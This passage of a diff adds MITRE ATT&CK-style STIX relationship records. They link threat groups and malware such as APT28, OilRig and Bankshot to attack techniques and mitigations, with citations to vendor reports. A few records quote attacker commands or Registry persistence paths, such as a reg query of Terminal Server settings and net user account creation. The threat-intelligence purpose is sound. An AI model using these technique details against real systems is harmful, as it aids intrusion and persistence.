"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ae11039c-6711-4860-a1b6-c7a8e0bcbbfb", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.282Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4", + "source_ref": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a", + "modified": "2019-07-24T19:45:38.771Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--2a0b74b3-cbc3-45fa-aba4-eabdb0cb89b5", + "source_ref": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0", + "modified": "2019-07-25T12:00:42.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb1a7bbd-9dec-4038-9935-1647378f739f", + "source_ref": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21", + "modified": "2019-10-23T14:34:08.486Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used Meterpreter to enumerate users on remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.274Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) attempts to escalate privileges by bypassing User Access Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5cd8b8a9-fd11-4405-8369-b12398b94def", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[DustySky](https://attack.mitre.org/software/S0062) achieves persistence by creating a Registry entry in HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.434Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) uploads files and secondary payloads to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a15e391d-cc21-484d-839a-b7057ae40179", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--984a0d7f-407f-4e3b-afd5-1dc107a980d5", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--eede138c-9745-453c-a8b5-684b696c2ad0", + "source_ref": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8", + "modified": "2019-07-24T18:10:46.871Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can enable remote desktop on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b0a1eb4-9797-41cd-b7a4-610cb9eb2c42", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RDP for [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--31a6eec8-0281-4973-a2af-ebf30e317a9f", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-10-01T14:35:15.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--51372934-2c81-4db7-aa38-cbb173698cc2", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.900Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used reg query \u201cHKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\u201d on a victim to query the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e30c24d3-d440-4395-88b3-3192a02c4364", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.133Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant establishes persistence by setting the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Debug Tools-%LOCALAPPDATA%\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--04558d61-aa04-46b5-a65f-921011ac9621", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used keylogging tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the victim\u2019s username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--331ebf73-af72-4121-815a-d10392ac75ab", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.152Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has transferred files using the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1255a34c-e280-4b16-b606-7b03682cd76d", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.", + "source_name": "Microsoft PLATINUM June 2017", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) binds and listens on port 1058.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c6bdfb77-f57a-4ad6-9c09-635ff19a887f", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered a process list by using [Tasklist](https://attack.mitre.org/software/S0057).exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2c586158-d02b-468a-bee8-04e1bde320e1", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.719Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3", + "source_ref": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0", + "modified": "2019-07-24T19:09:48.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can leverage the Windows API call, CreateProcessA(), for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--304c0297-8d9e-41ee-a5c0-f8bd33bdcd2a", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d10bad9f-2f3c-462d-b192-e96de6ad6ff0", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0e58b447-7b3e-404c-b8e5-003734c34574", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses COM hijacking as a method of persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--810f3029-bbb2-4630-8032-1e1d47824973", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used various types of scripting to perform operations, including Python and batch scripts. The group was observed installing Python 2.7 on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3fffa7b5-6797-4d99-96e4-a50db0e8810c", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.142Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Op RussianDoll", + "description": "FireEye Labs. (2015, April 18). Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia\u2019s APT28 in Highly-Targeted Attack. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "The net user username \\password and net user username \\password \\domain commands in [Net](https://attack.mitre.org/software/S0039) can be used to create a local or domain account respectively.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[KARAE](https://attack.mitre.org/software/S0215) can collect system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--87406432-7190-4606-980b-441819713d1d", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used valid accounts for initial access and privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d3d44322-8902-4f56-8625-fb14557c0ca8", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.159Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + }, + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + 